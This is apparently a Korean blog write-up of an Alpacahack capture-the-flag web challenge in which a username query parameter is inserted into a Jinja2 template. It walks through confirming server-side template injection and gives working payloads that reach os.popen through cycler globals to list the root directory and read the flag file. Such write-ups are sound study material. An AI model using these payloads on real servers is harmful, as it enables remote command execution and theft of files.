반응형
문제 설명
Topic: Server-Side
분야:Web
난이도: Medium
🦙 < Roll the dice!
코드 분석

- 사용자 입력이 그대로 쿼리스트링으로 /roll에 전달된다
- 서버 응답을 innerHTML로 출력하므로, 서버가 어떤 HTML을 반환하든 그대로 표시됨
- 핵심은 /roll에서 렌더링 되는 템플릿에 입력이 들어간다는 점

- url입력에 username 입력받음
- username이 템플릿에 그대로 합쳐짐
즉, username에 alpaca{7*7}과 같은 입력을 주면 서버가 {7*7}를 계산해 출력하게 됨 → SSTI가능

- Dockerfile에 플래그가 /flag-<md5>.txt 형태로 리네임돼 있으니, 일반적으로 "경로탐색 → 파일 읽기" 흐름으로 목표가 됨
취약점 분석
- 사용자 입력 그대로 템플릿 코드에 합쳐진 뒤 Jinja2가 그 템플릿을 실행해버려서 데이터가 코드가 되는 순간이고 SSTI가 터짐
- Jinja2 템플릿은 단순 문자열 치환이 아니라 표현식 실행 엔진임
- {{ ... }} 또는 {% ... %} 같은 문법이 실행될 수 있음
- 그래서 username에 템플릿 문법을 넣으면 서버가 실행하게 됨
문제 풀이

- 먼저 {{ 7*7 }}을 입력해 SSTI 취약점이 터지는지 먼저 확인을 해봤고 응답을 보니 가능하다는 것을 확인
{{ cycler.__init__.__globals__.os.popen('ls /').read() }}
- cycler.__init__.__globals__ : cycler의 __init__ 함수가 가진 전역 네임스페이스(dict)로 접근
- os.popen('ls / ').read() : 서버에서 쉘 명령 ls /(루트 디렉터리 목록조회)를 실행하고, 그 출력을 읽어 문자열로 반환
으 문구를 username에 삽입

파일명 확인(flag -<md5>.txt) 후
{{ cycler.__init__.__globals__.os.popen('cat /flag-f01dbe82bc9d1ea4a4de5d52f0f1dfbd.txt').read() }}
- cat 명령어를 사용해 파일 내용을 확인해봄

SSTI 자료 참고 문헌: https://me2nuk.com/SSTI-Vulnerability/
반응형
'Alpacahack' 카테고리의 다른 글
| Alpacahack: Stateless Auth (0) | 2026.01.25 |
|---|---|
| Alpacahack: Animal Viewer (0) | 2026.01.22 |
| Alpacahack: secret-table (0) | 2026.01.20 |
| Alpacahack: Fushigi Crawier (0) | 2026.01.19 |
| Alpacahack: I wanna be the Admin (0) | 2026.01.16 |